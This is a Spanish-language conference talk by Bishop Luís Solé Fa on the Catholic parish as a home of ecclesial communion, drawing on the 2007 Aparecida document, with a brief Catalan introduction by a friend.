PONENCIA: «LA PARROQUIA, HOGAR DE LA COMUNIÓN ECLESIAL» (MONSEÑOR LUÍS SOLÉ FA, C.M.)

MONSEÑOR LUÍS SOLÉ - JOSÉ HERVÁS
MONSEÑOR LUÍS SOLÉ – JOSÉ HERVÁS

INTRODUCCIÓ ACLARATÒRIA

El primer ponent va ser el meu amic, i company de pis, i d’estudis, etc etc.. i d’accident de cotxe… el Bisbe, Monsenyor Lluïs Solé.

Des de l’època d’estudiants ja teníem experiència de parròquies… En acabar la ponència, l’arquebisbe de València, Carles Osoro, el va felicitar dient que no coneixia al bisbe Lluïs, però que «havia colmat les seves expectatives» amb aquesta PONÈNCIA.

Espero la passis, i que sigui de profit.

                                         Josep Antoni Hervás Perelló

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Ponencia de Monseñor Luís Solé Fa, C.M., obispo de Trujillo  (Honduras), sobre 

LA PARROQUIA, HOGAR DE LA COMUNIÓN ECLESIAL”

Al aceptar la invitación de Mons. Carlos Osoro, arzobispo de Valencia, pensé que mi experiencia pastoral, que no mi preparación académica, me permitiría compartir con ustedes el valor que el Documento de Aparecida tiene para la Iglesia en América Latina.  La V Conferencia General del Episcopado Latinoamericano se celebró del 13 al 31 de mayo de 2007 en el Santuario Nacional de Nuestra Señora de la Concepción Aparecida, en Brasil.

La diferencia con las anteriores Conferencia Generales (Medellín en 1968, Puebla en 1979 y Santo Domingo en 1992)  radica, en primer lugar, en el proceso de preparación.  El Documento de Trabajo surgió de una consulta general a todas las Diócesis del Continente y a la que podían aportar no sólo las  Órdenes y las Congregaciones religiosas así como Institutos de Vida Apostólica, etc.,  sino incluso los particulares podían enviar sus propuestas a la Comisión preparatoria.

La presencia y el mensaje de Benedicto XVI fueron alentadores e iluminadores.  El desarrollo de la Conferencia en constante contacto con el pueblo católico del Brasil constituyó una bendición para los participantes en la Conferencia, así como los positivos aportes de un grupo de teólogos que, sin haber sido invitados, estuvieron en constante comunicación y cercanía con la Conferencia en un clima de respeto y comunión eclesial.  A todo esto hay que añadir la extraordinaria labor que realizó el  Cardenal Jorge Bergolio, Arzobispo de Buenos Aires, como presidente de la Comisión de redacción del Documento conclusivo.

En el Mensaje Final, los participantes en la Conferencia afirman:

“En nuestros trabajos, realizados en ambiente de ferviente oración, fraternidad y comunión afectiva, hemos buscado dar continuidad al camino de renovación recorrido por la Iglesia católica dese el concilio Vaticano II y en la anteriores cuatro Conferencias Generales del Episcopado Latinoamericano y del Caribe.”

Así también, en esta ponencia,  espero saber expresarles  lo que supone el llamado de esta V Conferencia a la conversión pastoral desde la renovación misionera de las parroquias.

I –  COMUIÓN TRINITARIA, FUNDAMENTO DE LA COMUNIÓN ECLESIAL

El Concilio Vaticano II presenta a la Iglesia como PUEBLO DE DIOS, “un pueblo reunido en virtud de la unidad del Padre y del Hijo y del Espíritu Santo” (LG, 4)

La razón de ser de este Pueblo de Dios es la COMUNIÓN en un sólo Señor, una sola fe, un sólo bautismo. (cf. Ef 4, 5).  Y este Pueblo de Dios, en cuanto CUERPO MÍSTICO DE CRISTO,  existe porque el mismo Señor “lo instituyó para ser comunión de vida, de caridad y de verdad” (LG, 9)

La III Conferencia General del Episcopado de América Latina, celebrada en Puebla (1979),  afirma: “Cristo nos revela que la vida divina es comunión trinitaria.  Padre, Hijo y Espíritu viven, en perfecta intercomunión de amor, el misterio supremo de la unidad.  De allí procede todo amor y toda comunión, para grandeza y dignidad de la existencia humana”  (DP, 212)

La V Conferencia, celebrada en Aparecida (2007), tituló el capítulo 5 del Documento conclusivo: “La comunión de los discípulos misioneros en la Iglesia”.   Y en el n° 155 se afirma que la Trinidad “es la fuente, el modelo y la meta del misterio de la Iglesia”.  Concluye diciendo: “La comunión de los fieles y de las Iglesia particulares en el Pueblo de Dios se sustenta en la comunión con la Trinidad”.  La COMUNIÓN ECLESIAL es, por tanto, fruto del MISTERIO del AMOR de Dios.   Consecuente con esto, el n° 156 precisa que “La vocación al discipulado misionero es CON-VOCACIÓN a la comunión en su Iglesia.  No hay discipulado sin comunión”.  Más aún, sin COMUNIÓN no hay verdadera COMUNIDAD, aunque haya organización comunitaria y actividades pastorales conjuntas.

La COMUNIÓN forma parte del Credo de la Iglesia porque cuando profesamos la fe en la “comunión de los santos”, es decir, en todo lo santificado por Dios,  nos disponemos a compartir totalmente lo que es VITAL  en nuestra FE y lo que es CENTRAL en nuestra  VIDA.

Lo VITAL de nuestra fe, es decir aquello en lo que nos va la VIDA,  es  JESUCRISTO, VIDA nuestra,   que nos ofrece la SALVACIÓN.

Lo CENTRAL  de nuestra vida, es decir lo que le da pleno sentido, es el AMOR DE DIOS “que ha sido derramado en nuestros corazones por el Espíritu Santo que se nos ha dado” (Rm 5, 5)

La COMUNIÓN estructura a la Iglesia a fin de SER – CON.

La ORGANIZACIÓN capacita a la Iglesia a fin de SER – PARA. 

La ORGANIZACIÓN debe surgir de la COMUNIÓN y fortalecerla.

Esta distinción entre “estructura de COMUNIÓN”  y  “ORGANIZACIÓN pastoral” nos permite diferenciar  aquello que en la Iglesia es inalterable porque  pertenece a su esencia,  de aquello que es susceptible de cambiar y ser renovado.

Lo esencial de la Iglesia que la estructura como tal, es lo que la hace ser una, santa, católica, apostólica, ministerial, carismática, misionera, sacramental, samaritana, comunitaria, etc.;  y esto  no admite cambios, sino tan sólo conversión y renovada fidelidad.

Lo que no es esencial en la Iglesia, como es su forma de concebir la Parroquia, de organizarla, de establecer su pastoral, de adaptarse a su realidad histórica, cultural, social, geográfica, etc. puede variar, ser revisado y adaptado a las nuevas circunstancias y a los signos de los tiempos.  Pero siempre deberá hacerse en fidelidad a la comunión eclesial.

De manera que la estructura de COMUNIÓN  y la ORGANIZACIÓN  pastoral son dos realidades inseparables que se integran en base a los principios de la teología pastoral.  Pero tal armonía, que exige oración y reflexión por parte de la Comunidad,  sólo es posible desde la ESPIRITUALIDAD DE COMUNIÓN de la que nos habla la Carta apostólica “Novo Millenio ineunte” escrita por  Juan Pablo II en enero de 2001.

“Antes de programar iniciativas concretas, hace falta promover una espiritualidad de la comunión, proponiéndola como principio educativo en todos los lugares en donde se forma el hombre y el cristiano, donde se educan los ministros del altar, las personas consagradas y los agentes pastorales, donde se construyen las familias y las comunidades.  Espiritualidad de la comunión significa ante todo una mirada del  corazón sobre todo hacia el misterio de la Trinidad que habita en nosotros, y cuya luz ha de ser reconocida también en el rostro de los hermanos que están a nuestro lado.” (NMI, 43)

Los atributos de la Iglesia, en cuanto una, santa, católica y apostólica, brotan de Cristo, que es su Cabeza y modelo en el que ella se inspira.  Los tres oficios de Cristo: Maestro, Sacerdote y Rey, dieron lugar a los tres poderes jerárquicos: el Magisterio, el Orden y la Jurisdicción.  Así han permanecido hasta el Vaticano II desde su concepción a partir de la Reforma Protestante.  Sin embargo, la Teología Pastoral ha replanteado este triple ministerio por razón de incorporar una función esencial de la Misión salvífica de Cristo: la de SIERVO obediente al Padre.  Cristo ejerce esta misión desde el principio de la MISERICORDIA cuya expresión máxima la encontramos en el BUEN SAMARITANO.

+ Cristo Palabra, Maestro, Profeta y Testigo es el fundamento de la misión evangelizadora.

+ Cristo Siervo es el fundamento del ministerio de la caridad.

+ Cristo Sacerdote santifica la acción litúrgica de la Iglesia.

+ Cristo Buen Pastor  y Rey guía a toda la Iglesia en la comunión.

Esta visión se ha expresado con la imagen del taburete de tres patas unidas por la pastoral de comunión.  Sin quitarle valor a esta imagen, yo objetaría el que se interpretara como que lo que constituye la comunión sea una función reservada a la Jerarquía.  En realidad, cuando se concibe así, la comunión deja de ser Pastoral de conjunto para ser un oficio exclusivo del clero; y, la verdad, es que ni en la práctica es así.  La Pastoral de comunión es de todos; que la Parroquia sea Comunión de comunidades depende de todos, y que  los Consejos, las Comisiones, los Equipos y los grupos los formen y hasta los presidan los laicos, hace que la Pastoral de Comunión no sea sólo el asiento para la Jerarquía que se apoya en tres patas, sino que es lo que cohesiona toda la actividad pastoral y la pata que impide que las otras tres renqueen.

II -PARROQUIA PROFÉTICA

A – Propuesta de Aparecida a las comunidades eclesiales: la CONVERSIÓN PASTORAL y la RENOVACIÓN MISIONERA (DA, 7.2)

Podemos aplicar esta propuesta a los cuatro ámbitos de la parroquia que acabamos de considerar.

El marco en el que Aparecida hace esta propuesta es la vocación misionera  que debe impregnar toda su vida pastoral de la Iglesia.  “Ninguna comunidad debe excusarse de entrar decididamente, con todas sus fuerzas, en los procesos constantes de renovación misionera” (DA, 365)

(De no ser así existe el problema de dividir la Diócesis en parroquias “renovadas” y parroquias “no renovadas”;  lo negativo de esto repercute siempre en  los feligreses)

La llamada a asumir una actitud permanente de conversión pastoral es para todos los miembros de la Iglesia, lo cual implica “escuchar con atención y discernir ´lo que el Espíritu está diciendo a las Iglesias´ (Ap 2, 29) a través de los signos de los tiempos en los que Dios se manifiesta” (DA, 366)

El lugar privilegiado que la Palabra de Dios tiene en la vida parroquial no se pone en duda.  Pero es necesario revisar si en la Parroquia esa Palabra es su fuente de vida y el alma de su acción evangelizadora.

B – De la “pastoral bíblica” a la “animación bíblica de la pastoral”.

La pastoral bíblica, entendida como una más entre las diversas pastorales, ha tenido por objeto la Biblia tratando de evangelizar con ella.  Pero la animación bíblica de la pastoral busca que la Palabra de Dios, transmitida por la Sagrada Escritura, sea la savia y el corazón de todas las pastorales que realiza la Iglesia.

Benedicto XVI, al escribir “Verbum Domini”, nos propone revalorizar la Palabra divina en la vida de la Iglesia de forma que sea “fuente de renovación” y “cada vez más el corazón de toda actividad eclesial” (VD, 1)

La vocación y dimensión profética de la Comunidad parroquial no puede quedar reducida a las pastorales que están al servicio directo de la Palabra, puesto que desde todas las pastorales nos dejamos iluminar por esa Palabra, dado que todas las pastorales han de ser evangelizadoras.

La Palabra de Dios es Jesucristo, el Verbo encarnado.  La Sagrada Escritura contiene, en lenguaje humano, la Palabra que necesita ser interpretada, que debe ser mediadora y debe ser anunciada.

INTERPRETADA.   La animación bíblica de la pastoral actúa como escuela de interpretación (hermenéutica) para descubrir lo que Dios revela por medio del autor sagrado.  Es la dimensión sapiencial que nos permite conocer mejor la Palabra gracias al actuar del Espíritu (Cf. Jn 14, 26)

MEDIADORA.   La Palabra, gracias a la Escritura, es fuente de diálogo y de comunión con Dios y con los demás.  Así, la animación bíblica de la pastoral actúa como escuela que nos enseña a orar  y actualizar la Palabra.

ANUNCIADA.   La Comunidad de fe, que nace de la Palabra, existe para evangelizar con ella.  Así, la animación bíblica de la pastoral actúa como escuela de evangelización.

El fruto de una conversión pastoral cuya motivación sea el amor a la Iglesia y de una renovación misionera que brote de nuestra  fidelidad a la Palabra, será el  “que se pase de una pastoral de conservación a una pastoral decididamente misionera.  Así será posible que el único programa del Evangelio siga introduciéndose en la historia de cada comunidad eclesial con nuevo ardor misionero, haciendo que la Iglesia se manifieste como madre que sale al encuentro, una casa acogedora, una escuela permanente de comunión misionera.”  (DA, 370)

Hermosa forma de invitarnos a ser Parroquia: MADRE que sale al encuentro, es decir, misionera.  CASA acogedora, es decir un HOGAR donde “los pobres se sientan como en su casa” (NMI, 50).     ESCUELA permanente de comunión misionera, porque la vocación misionera de una Parroquia consiste en vivir “en estado permanente de misión” (Cf. DA, 551)

Al final del apartado sobre la conversión pastoral y la renovación misionera, el Documento de Aparecida dice algo que es sumamente importante porque nos advierte sobre algún que otro  peligro:

“No se trata sólo de estrategias para procurar éxitos pastorales, sino de la fidelidad en la imitación del Maestro, siempre cercano, accesible, disponible para todos, deseoso de comunicar vida encada rincón de la tierra.” (DA, 372)

En efecto, las acciones misioneras desde las que evangeliza la parroquia no pueden caer en la tentación de ser una competencia para ver qué grupo evangeliza mejor o quien logra atraer más personas a la Iglesia.  Por eso, con mucha claridad afirma Aparecida:

“La Iglesia crece no por proselitismo sino “por atracción: como Cristo atrae todo a sí con la fuerza de su amor”.  La Iglesia “atrae” cuando vive en comunión, pues los discípulos de Jesús serán reconocidos si se aman los unos a los otros como Él no amó (Cf. Rm 12, 4 – 13; Jn 13, 34)” (DA, 159)

III  –  PARROQUIA, COMUNIDAD SACERDOTAL QUE CELEBRA EL MISTERIO PASCUAL

¿Cómo renovar la dimensión litúrgica de la Parroquia desde el principio de comunión misionera?

Avanzando en el camino de una Nueva Evangelización, la V Conferencia, valora mucho el “encuentro con Cristo” (una expresión que se repite más de 60 veces).  El apartado 6.1.2 del Documento conclusivo de Aparecida señala  los “lugares de encuentro con Jesucristo”.

247 – 249: en la Sagrada Escritura

250: en la Sagrada Liturgia (Cf. SC, 7) 

251: en la Eucaristía. “Creer, celebrar y vivir el misterio de Jesucristo, de tal modo que la existencia cristiana adquiera verdaderamente una forma eucarística”.

252: en la “pastoral del domingo”, porque sin esa participación activa en el sacramento “no habrá discípulo misionero maduro”.  La centralidad de la Eucaristía nos debe llevar, también, a  una renovación pastoral del culto al Santísimo Sacramento, que propicia la oración de contemplación y la comunión eclesial.

253: Se alude a un problema muy serio en América Latina: los millones de creyentes que no tienen la oportunidad de participar en la Eucaristía dominical.  Habría que analizarlo desde todos los ángulos.  Pero no podemos ignorar la cantidad de sacerdotes, muchos de ellos jóvenes,  que no están dispuestos a trabajar en zonas marginadas, rurales o selváticas.  Y de paso constatar que muchos sacerdotes se ocupan de actividades, incluso profesionales, que bien podrían realizarlas los laicos, mientras descuidan las que son propias y exclusivas de su ministerio sacerdotal.

255: La oración personal y comunitaria, impulsada en muchas parroquias por medio de la “lectio divina”.

258 – 265: Ocho números dedica Aparecida a la piedad popular como espacio de encuentro con Jesucristo.  A pesar de las notables diferencias que existen entre España y los países latinoamericanos el tema tiene permanente valor.   Es una realidad que no desaparece en los países del primer mundo, sino que adquiere unas características que deben ser estudiadas desde la sociología y la psicología.

El n° 263, que se refiere a la presencia del Espíritu también en la piedad popular, tiene validez para ambos Continentes.

El número  265, alude a la presencia de María.  A ella dedica varios números, entre ellos el 272 que podemos aplicar al amor que los valencianos tienen por la Virgen de los Desamparados.

IV – PARROQUIA SAMARITANA – SOLIDARIA

La renovación de la Parroquia, en cuanto ámbito privilegiado de fraternidad cristiana, debe considerarse en dos direcciones: ad-intra y ad-extra.

La Exhortación Post-Sinodal “Ecclesia in Europa” lo desglosa de la siguiente manera: “Nuestras comunidades eclesiales están llamadas a ser verdaderas escuelas prácticas de comunión” (Ec.E, 85).  “El testimonio de la caridad ha de extenderse más allá de los confines de la comunidad eclesial, para llegar a cada ser humano, de modo que el amor por todos los hombres fomente auténtica solidaridad en toda la vida social” (Ec.E, 85).  En este mismo número el Papa Juan Pablo II manifiesta la necesidad de revalorizar el sentido auténtico del voluntariado cristiano.

Podríamos deducir que ante la necesidad de renovar y profundizar el ministerio de la caridad en el seno de cada parroquia y en su servicio a la sociedad, también es válida para Europa la propuesta de Aparecida: “Promover renovados esfuerzos para fortalecer una pastoral social estructurada, orgánica e integral que, con la asistencia y la promoción humana, se haga presente en las nuevas realidades de exclusión y marginación que viven los grupos más vulnerables donde la vida está más amenaza”. (DA, 401).

ESTRUCTURADA: Porque expresa en todas sus acciones lo que es esencial de la Iglesia y su naturaleza misionera y evangelizadora.

ORGÁNICA: Porque todos sus servicios están coordinados en forma de red.

INTEGRAL: Porque promueve a todas las personas y a toda la persona en todas sus dimensiones.

El Evangelio coloca a todos los agentes de pastoral social en el reto de integrar, en su servicio, el equilibrio de saber ser al mismo tiempo sal de la tierra y luz del mundo.  Como la sal está inserta en la realidad y se diluye en ella para contagiarla del sabor a Cristo y de los valores del Evangelio, así ha de actualizarse el ministerio de la caridad.  Pero en una actitud humilde que le permita encarnarse en la realidad, sobre todo la de los pobres, como lo hizo Cristo.  Por otro lado, ser luz del mundo significa manifestar y no esconder el testimonio de la fe que nos permite anunciar a toda la sociedad la presencia de Cristo y del Reino.   La Iglesia en España, y ante la situación cultural en que se vive y los ataques que se le dirigen, debe encontrar este equilibrio que Jesús invita a vivir a todos sus discípulos misioneros: vivir con humildad el ser SAL de la tierra, y vivir con “parresía” el ser LUZ del mundo.

V – PARROQUIA: DONDE LA COMUNIÓN SE VIVE COMO CORRESPONSABILIDAD 

PASTORAL ORGÁNICA

La comunión eclesial ha de expresarse en la organización pastoral, por eso la llamamos PASTORAL ORGÁNICA o DE CONJUNTO “Para vivir de manera plena la comunión en la Iglesia, hace falta valorar la variedad de carismas y vocaciones que confluyen cada vez más en la unidad y pueden enriquecerla” (NMI, 29).  Esta unidad encuentra su razón de ser en 1 Cor 12,7: “A cada uno se le da una manifestación del Espíritu para el bien común”.

Aparecida enmarca la pastoral orgánica en la Diócesis: “Ella debe impulsar y conducir una acción pastoral orgánica, renovada y vigorosa, de manera que la variedad de carismas, ministerios, servicios y organizaciones se orienten en un mismo proyecto misionero…” (DA, 169)

Aplicándolo a la Parroquia, Aparecida lo formula así: “La renovación de las parroquias al inicio del tercer milenio exige reformular estructuras para que sea una red de comunidades y grupos, capaces de articularse logrando que sus miembros se sientan y sean realmente discípulos y misioneros de Jesucristo en comunión” (DA, 172)

El concepto de “red” lo entenderán con facilidad los pescadores.  No bastan los nudos que entrelazan y amarran los hilos y que podemos llamar organismos.  Cuando entre nudo y nudo se rompe el hilo, se crea un vacío que impide usar la red para pescar.  Estos vacíos se dan en la pastoral cuando no existen los mecanismos de conjunto para establecer contactos y colaboraciones entre los distinto organismos.  Cuando, por ejemplo, dentro de una parroquia no existe un encuentro entre organismos que tienen tareas relacionadas, cuando no hay comunicación entre catequistas que atienden distintas etapas, o no existe entre coordinadores de grupos juveniles de zona urbana con los  de zona rural, entre quienes atienden problemas de salud y los que atienden centros de nutrición u hogares de ancianos, etc.

La falta de hilos de comunicación e intercambio impide que exista una red, expresión de que la pastoral está interconectada y es lo más eficiente posible.

La ausencia de hilos de corresponsabilidad puede ser signo de la falta de apertura a la comunión del Espíritu Santo

La corresponsabilidad en la Parroquia descansa sobre todo, la espiritualidad de comunión entre los párrocos y los laicos “No basta la entrega generosa del sacerdote… se requiere que todos los laicos se sientan corresponsables…” (DA, 202)

Un problema frecuente en América Latina es el clericalismo expresión que proviene de “kleros” y que significa “lo que toca a uno en suerte”.  Quizá podríamos matizar que existe un clericalismo inocente.  Es el del sacerdote deseoso de servir, entregado a su Parroquia, pero desbordado en su trabajo.  La acumulación de responsabilidades que le impide un mejor servicio pastoral se debe en parte a su falta de capacidad para delegar, para compartir.  Por otro lado, es de lamentar el clericalismo culpable del sacerdote que asume una autoridad que no se le ha dado.  Del sacerdote que ha personalizado en él  lo que debería vivir “in personal Christi”.  Es el sacerdote que se ha adueñado del poder espiritual que lo convierte en autoritario y convierte a los laicos en servidores suyos.  Es el sacerdote que aprendió a hablar para ser escuchado, pero que nunca aprendió a escuchar.  Este clericalismo está impidiendo la renovación de las parroquias e impide la comunión.

Aparecida en el No.203 nos da la clave para entender la PASTORAL ORGÁNICA como camino espiritual.

Los laicos “hombres de la Iglesia en el corazón del mundo y hombres del mundo en el corazón de la Iglesia” (DP, 786) han de ser parte activa y creativa en la elaboración y ejecución de proyectos pastorales a favor de la comunidad.  Esto exige de parte de los pastores una mayor apertura de mentalidad para que entiendan y acojan el ‘ser’ y el ‘hacer’ del laico en la Iglesia, quien, por su bautismo y confirmación, es discípulo y misionero de Cristo” (DA, 213).

ASOCACIONES Y MOVIMIENTOS

La Exhortación Post-Sinodal “Christifideles Laici”, del Papa Juan Pablo II, en su numeral 29 nos presenta las formas agregativas de participación por la cual  <<la comunión eclesial, ya presente y operante en la acción personal de cada uno, encuentra una manifestación específica en el actuar asociado de los fieles laicos, es decir en la acción solidaria que ellos llevan a cabo participando responsablemente en la vida y misión de la Iglesia. >>

En el siguiente número, el Papa desarrolla los criterios de eclesialidad que deben ser claros y precisos de reconocimiento de las asociaciones laicales.  Junto a estos criterios de carácter más universal, es necesario considerar los que en cada Diócesis y en cada Parroquia hay que tener presentes.

Es iluminador que Aparecida al referirse a los Movimientos diga: <<Para aprovechar mejor los carismas y servicios de los movimientos eclesiales en el campo de la formación de los laicos, deseamos respetar sus carismas y su originalidad, procurando que se integren más plenamente a la estructura originaria que se da en la diócesis. >> (DA, 313)

Como criterios de carácter diocesano y, por lo mismo, parroquial, podemos considerar los siguientes:

+ Todo movimiento que vive en  comunión espiritual con la Iglesia diocesana y la Parroquia debe:

–       Ofrecer a sus miembros una FORMACIÓN aprobada por el Ordinario  y además debe estar anuente a recibir la formación que ofrece la Diócesis o la Parroquia.

–       Vivir la LITURGIA Y LOS SACRAMENTOS de forma abierta y no exclusiva.

+  Todo movimiento que vive en comunión pastoral con la Iglesia diocesana y la Parroquia debe:

–       Participar, por medio de sus responsables o dirigentes en los ORGANISMOS DE COORDINACIÓN  pastoral diocesana y/o parroquial.

–       Armonizar sus actividades propias con el calendario de ACTIVIDADES de la Diócesis y de la Parroquia.

+  Todo movimiento que vive la comunión solidaria en la caridad con la Iglesia diocesana y la Parroquia debe:

–       Coordinar sus ACCIONES SOCIO-CARITATIVAS para que no sean contradictorias con los criterios de la Pastoral de la caridad de la Diócesis y/o de la Parroquia.

–       Ser SOLIDARIO con las necesidades internas de la Diócesis, de la Parroquia y de los demás Movimientos de apostolado.

CONCLUSIÓN

Que sean las palabras, una vez más, del Documento de Aparecida conclusión y propósito al mismo tiempo.

<< ¡Necesitamos salir el encuentro de las personas, las familias, las comunidades y los pueblos para comunicarles y compartir el don del encuentro con Cristo, que ha llenado de “sentido”, de verdad y amor, de alegría y de esperanza!  No podemos quedarnos tranquilos en espera pasiva en nuestros templos, sino urge acudir en todas direcciones para proclamar que el mal y la muerte no tienen la última palabra, que el amor es más fuerte, que hemos sido liberados y salvados por la victoria pascual del Señor de la historia, que Él nos convoca en Iglesia, y que quiere multiplicar el número de sus discípulos y misioneros en la construcción de su Reino en nuestro continente. >>  (DA, 548)

También en el Continente europeo, también en España, también en Valencia.

<< Nos ayude la compañía siempre cercana, llena de comprensión y ternura, de María Santísima.  Que nos muestre el fruto bendito de su vientre y nos enseña a responder como ella lo hizo en el misterio de la anunciación y encarnación.  Que nos enseñe a salir de nosotros mismo en camino de sacrificio, amor y servicio, como lo hizo en la visitación a su prima Isabel, para que, peregrinos en el camino, cantemos la maravillas que Dios ha hecho en nosotros conforme a sus promesas. >>  (DA, 553)


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